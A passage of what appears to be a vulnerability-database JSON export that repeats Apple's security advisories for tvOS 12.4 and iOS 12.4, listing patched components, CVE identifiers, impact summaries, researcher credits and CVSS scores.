HD\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8660: Samuel Gro\u00df and natashenka of Google Project Zero\n\n**Game Center**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local user may be able to read a persistent account identifier\n\nDescription: This issue was addressed with a new entitlement.\n\nCVE-2019-8702: Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc.\n\nEntry added February 24, 2020\n\n**Heimdal**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An issue existed in Samba that may allow attackers to perform unauthorized actions by intercepting communications between services\n\nDescription: This issue was addressed with improved checks to prevent unauthorized actions.\n\nCVE-2018-16860: Isaac Boukris and Andrew Bartlett of the Samba Team and Catalyst\n\n**Image Processing**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8668: an anonymous researcher\n\nEntry added October 8, 2019\n\n**libxslt**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to view sensitive information\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2019-13118: found by OSS-Fuzz\n\n**Profiles**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to restrict access to websites\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2019-8698: Luke Deshotels, Jordan Beichler, and William Enck of North Carolina State University; Costin Caraba\u0219 and R\u0103zvan Deaconescu of University POLITEHNICA of Bucharest\n\n**Quick Look**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An attacker may be able to trigger a use-after-free in an application deserializing an untrusted NSDictionary\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8662: natashenka and Samuel Gro\u00df of Google Project Zero\n\n**Siri**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: natashenka of Google Project Zero\n\n**UIFoundation**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8657: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of document loads. This issue was addressed with improved state management.\n\nCVE-2019-8690: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of synchronous page loads. This issue was addressed with improved state management.\n\nCVE-2019-8649: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8658: akayn working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8644: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8666: Zongming Wang (\u738b\u5b97\u660e) and Zhe Jin (\u91d1\u54f2) from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.\n\nCVE-2019-8669: akayn working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8671: Apple\n\nCVE-2019-8672: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8673: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8676: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8677: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8678: Anthony Lai (@darkfloyd1014) of Knownsec, Ken Wong (@wwkenwong) of VXRL, Jeonghoon Shin (@singi21a) of Theori, Johnny Yu (@straight_blast) of VX Browser Exploitation Group, Chris Chan (@dr4g0nfl4me) of VX Browser Exploitation Group, Phil Mok (@shadyhamsters) of VX Browser Exploitation Group, Alan Ho (@alan_h0) of Knownsec, Byron Wai of VX Browser Exploitation, P1umer of ADLab of Venustech\n\nCVE-2019-8679: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8680: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8681: G. Geshev working with Trend Micro Zero Day Initiative\n\nCVE-2019-8683: lokihardt of Google Project Zero\n\nCVE-2019-8684: lokihardt of Google Project Zero\n\nCVE-2019-8685: akayn, Dongzhuo Zhao working with ADLab of Venustech, Ken Wong (@wwkenwong) of VXRL, Anthony Lai (@darkfloyd1014) of VXRL, and Eric Lung (@Khlung1) of VXRL\n\nCVE-2019-8686: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8687: Apple\n\nCVE-2019-8688: Insu Yun of SSLab at Georgia Tech\n\nCVE-2019-8689: lokihardt of Google Project Zero\n\nEntry updated September 11, 2019\n\n\n\n## Additional recognition\n\n**Game Center**\n\nWe would like to acknowledge Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Dany Lisiansky (@DanyL931) for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-07-22T00:00:00", "type": "apple", "title": "About the security content of tvOS 12.4", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16860", "CVE-2019-13118", "CVE-2019-8644", "CVE-2019-8646", "CVE-2019-8647", "CVE-2019-8649", "CVE-2019-8657", "CVE-2019-8658", "CVE-2019-8660", "CVE-2019-8662", "CVE-2019-8666", "CVE-2019-8668", "CVE-2019-8669", "CVE-2019-8671", "CVE-2019-8672", "CVE-2019-8673", "CVE-2019-8676", "CVE-2019-8677", "CVE-2019-8678", "CVE-2019-8679", "CVE-2019-8680", "CVE-2019-8681", "CVE-2019-8683", "CVE-2019-8684", "CVE-2019-8685", "CVE-2019-8686", "CVE-2019-8687", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-8690", "CVE-2019-8698", "CVE-2019-8702", "CVE-2019-9506", "CVE-2020-10135"], "modified": "2019-07-22T00:00:00", "id": "APPLE:48DFAA81838B82F0614B9A03F99F251D", "href": "https://support.apple.com/kb/HT210351", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:35", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 12.4\n\nReleased July 22, 2019\n\n**Bluetooth**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2019-9506: Daniele Antonioli of SUTD, Singapore, Dr. Nils Ole Tippenhauer of CISPA, Germany, and Prof. Kasper Rasmussen of University of Oxford, England\n\nThe changes for this issue mitigate CVE-2020-10135.\n\nEntry added August 13, 2019, updated June 25, 2020 \n\n**Core Data**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8647: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**Core Data**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8660: Samuel Gro\u00df and Natalie Silvanovich of Google Project Zero\n\n**Game Center**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local user may be able to read a persistent account identifier\n\nDescription: This issue was addressed with a new entitlement.\n\nCVE-2019-8702: Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc.\n\nEntry added February 24, 2020\n\n**Heimdal**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An issue existed in Samba that may allow attackers to perform unauthorized actions by intercepting communications between services\n\nDescription: This issue was addressed with improved checks to prevent unauthorized actions.\n\nCVE-2018-16860: Isaac Boukris and Andrew Bartlett of the Samba Team and Catalyst\n\n**Image Processing**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8668: an anonymous researcher\n\nEntry added October 8, 2019\n\n**libxslt**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to view sensitive information\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2019-13118: found by OSS-Fuzz\n\n**Profiles**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to restrict access to websites\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2019-8698: Luke Deshotels, Jordan Beichler, and William Enck of North Carolina State University; Costin Caraba\u0219 and R\u0103zvan Deaconescu of University POLITEHNICA of Bucharest\n\n**Quick Look**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An attacker may be able to trigger a use-after-free in an application deserializing an untrusted NSDictionary\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8662: Natalie Silvanovich and Samuel Gro\u00df of Google Project Zero\n\n**Siri**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: Natalie Silvanovich of Google Project Zero\n\n**UIFoundation**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8657: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of document loads. This issue was addressed with improved state management.\n\nCVE-2019-8690: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of synchronous page loads. This issue was addressed with improved state management.\n\nCVE-2019-8649: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8658: akayn working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8644: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8666: Zongming Wang (\u738b\u5b97\u660e) and Zhe Jin (\u91d1\u54f2) from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.\n\nCVE-2019-8669: akayn working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8671: Apple\n\nCVE-2019-8672: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8673: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8676: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8677: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8678: Anthony Lai (@darkfloyd1014) of Knownsec, Ken Wong (@wwkenwong) of VXRL, Jeonghoon Shin (@singi21a) of Theori, Johnny Yu (@straight_blast) of VX Browser Exploitation Group, Chris Chan (@dr4g0nfl4me) of VX Browser Exploitation Group, Phil Mok (@shadyhamsters) of VX Browser Exploitation Group, Alan Ho (@alan_h0) of Knownsec, Byron Wai of VX Browser Exploitation, P1umer of ADLab of Venustech\n\nCVE-2019-8679: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8680: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8681: G. Geshev working with Trend Micro Zero Day Initiative\n\nCVE-2019-8683: lokihardt of Google Project Zero\n\nCVE-2019-8684: lokihardt of Google Project Zero\n\nCVE-2019-8685: akayn, Dongzhuo Zhao working with ADLab of Venustech, Ken Wong (@wwkenwong) of VXRL, Anthony Lai (@darkfloyd1014) of VXRL, and Eric Lung (@Khlung1) of VXRL\n\nCVE-2019-8686: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8687: Apple\n\nCVE-2019-8688: Insu Yun of SSLab at Georgia Tech\n\nCVE-2019-8689: lokihardt of Google Project Zero\n\nEntry updated September 11, 2019\n\n\n\n## Additional recognition\n\n**Game Center**\n\nWe would like to acknowledge Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Dany Lisiansky (@DanyL931) for their assistance.\n", "edition": 4, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-25T07:44:38", "title": "About the security content of tvOS 12.4 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10135", "CVE-2019-8681", "CVE-2019-8669", "CVE-2019-8702", "CVE-2019-8677", "CVE-2019-8649", "CVE-2019-8688", "CVE-2018-16860", "CVE-2019-9506", "CVE-2019-8679", "CVE-2019-8680", "CVE-2019-8673", "CVE-2019-8647", "CVE-2019-8687", "CVE-2019-8672", "CVE-2019-8660", "CVE-2019-8658", "CVE-2019-8678", "CVE-2019-8676", "CVE-2019-8686", "CVE-2019-13118", "CVE-2019-8644", "CVE-2019-8683", "CVE-2019-8671", "CVE-2019-8646", "CVE-2019-8690", "CVE-2019-8698", "CVE-2019-8668", "CVE-2019-8684", "CVE-2019-8689", "CVE-2019-8685", "CVE-2019-8662", "CVE-2019-8657", "CVE-2019-8666"], "modified": "2020-06-25T07:44:38", "id": "APPLE:HT210351", "href": "https://support.apple.com/kb/HT210351", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:14:00", "description": "# About the security content of iOS 12.4\n\nThis document describes the security content of iOS 12.4.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4\n\nReleased July 22, 2019\n\n**Bluetooth**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2019-9506: Daniele Antonioli of SUTD, Singapore, Dr. Nils Ole Tippenhauer of CISPA, Germany, and Prof. Kasper Rasmussen of University of Oxford, England\n\nThe changes for this issue mitigate CVE-2020-10135.\n\nEntry added August 13, 2019, updated June 25, 2020 \n\n**Core Data**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: natashenka of Google Project Zero\n\n**Core Data**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8647: Samuel Gro\u00df and natashenka of Google Project Zero\n\n**Core Data**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8660: Samuel Gro\u00df and natashenka of Google Project Zero\n\n**FaceTime**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8648: Tao Huang and Tielei Wang of Team Pangu\n\n**Found in Apps**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8663: natashenka of Google Project Zero\n\n**Game Center**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A local user may be able to read a persistent account identifier\n\nDescription: This issue was addressed with a new entitlement.\n\nCVE-2019-8702: Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc.\n\nEntry added February 24, 2020\n\n**Heimdal**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: An issue existed in Samba that may allow attackers to perform unauthorized actions by intercepting communications between services\n\nDescription: This issue was addressed with improved checks to prevent unauthorized actions.\n\nCVE-2018-16860: Isaac Boukris and Andrew Bartlett of the Samba Team and Catalyst\n\n**Image Processing**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8668: an anonymous researcher\n\nEntry added October 8, 2019\n\n**libxslt**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to view sensitive information\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2019-13118: found by OSS-Fuzz\n\n**Messages**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may cause an unexpected application termination\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2019-8665: Michael Hernandez of XYZ Marketing\n\n**Profiles**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A malicious application may be able to restrict access to websites\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2019-8698: Luke Deshotels, Jordan Beichler, and William Enck of North Carolina State University; Costin Caraba\u0219 and R\u0103zvan Deaconescu of University POLITEHNICA of Bucharest\n\n**Quick Look**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: An attacker may be able to trigger a use-after-free in an application deserializing an untrusted NSDictionary\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8662: natashenka and Samuel Gro\u00df of Google Project Zero\n\n**Siri**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8646: natashenka of Google Project Zero\n\n**Telephony**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: The initiator of a phone call may be able to cause the recipient to answer a simultaneous Walkie-Talkie connection\n\nDescription: A logic issue existed in the answering of phone calls. The issue was addressed with improved state management.\n\nCVE-2019-8699: Marius Alexandru Boeru (@mboeru) and an anonymous researcher\n\nEntry updated July 25, 2019\n\n**UIFoundation**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8657: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**Wallet**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: A user may inadvertently complete an in-app purchase while on the lock screen\n\nDescription: The issue was addressed with improved UI handling.\n\nCVE-2019-8682: Jeff Braswell (JeffBraswell.com)\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of document loads. This issue was addressed with improved state management.\n\nCVE-2019-8690: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue existed in the handling of synchronous page loads. This issue was addressed with improved state management.\n\nCVE-2019-8649: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8658: akayn working with Trend Micro's Zero Day Initiative\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8644: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8666: Zongming Wang (\u738b\u5b97\u660e) and Zhe Jin (\u91d1\u54f2) from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.\n\nCVE-2019-8669: akayn working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8671: Apple\n\nCVE-2019-8672: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8673: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8676: Soyeon Park and Wen Xu of SSLab at Georgia Tech\n\nCVE-2019-8677: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8678: Anthony Lai (@darkfloyd1014) of Knownsec, Ken Wong (@wwkenwong) of VXRL, Jeonghoon Shin (@singi21a) of Theori, Johnny Yu (@straight_blast) of VX Browser Exploitation Group, Chris Chan (@dr4g0nfl4me) of VX Browser Exploitation Group, Phil Mok (@shadyhamsters) of VX Browser Exploitation Group, Alan Ho (@alan_h0) of Knownsec, Byron Wai of VX Browser Exploitation, P1umer of ADLab of Venustech\n\nCVE-2019-8679: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8680: Jihui Lu of Tencent KeenLab\n\nCVE-2019-8681: G. Geshev working with Trend Micro Zero Day Initiative\n\nCVE-2019-8683: lokihardt of Google Project Zero\n\nCVE-2019-8684: lokihardt of Google Project Zero\n\nCVE-2019-8685: akayn, Dongzhuo Zhao working with ADLab of Venustech, Ken Wong (@wwkenwong) of VXRL, Anthony Lai (@darkfloyd1014) of VXRL, and Eric Lung (@Khlung1) of VXRL\n\nCVE-2019-8686: G. Geshev working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8687: Apple\n\nCVE-2019-8688: Insu Yun of SSLab at Georgia Tech\n\nCVE-2019-8689: lokihardt of Google Project Zero\n\nEntry updated September 11, 2019\n\n\n\n## Additional recognition\n\n**Game Center**\n\nWe would like to acknowledge Min (Spark) Zheng and Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Dany Lisiansky (@DanyL931) for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-07-22T00:00:00", "type": "apple", "title": "About the security content of iOS 12.4", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16860", "CVE-2019-13118", "CVE-2019-8644", "CVE-2019-8646", "CVE-2019-8647", "CVE-2019-8648", "CVE-2019-8649", "CVE-2019-8657", "CVE-2019-8658", "CVE-2019-8660", "CVE-2019-8662", "CVE-2019-8663", "CVE-2019-8665", "CVE-2019-8666", "CVE-2019-8668", "CVE-2019-8669", "CVE-2019-8671", "CVE-2019-8672", "CVE-2019-8673", "CVE-2019-8676", "CVE-2019-8677", "CVE-2019-8678", "CVE-2019-8679", "CVE-2019-8680", "CVE-2019-8681", "CVE-2019-8682", "CVE-2019-8683", "CVE-2019-8684", "CVE-2019-8685", "CVE-2019-8686", "CVE-2019-8687", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-8690", "CVE-2019-8698", "CVE-2019-8699", "CVE-2019-8702", "CVE-2019-9506", "CVE-2020-10135"], "modified": "2019-07-22T00:00:00", "id": "APPLE:819AEF513AB880D6C4F6CA66CB3C0021", "href": "https://support.apple.com/kb/HT210346", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:50", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.4\n\nReleased July 22, 2019\n\n**Bluetooth**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation and later\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic (Key Negotiation of Bluetooth - KNOB)\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2019-9506: Daniele Antonioli of 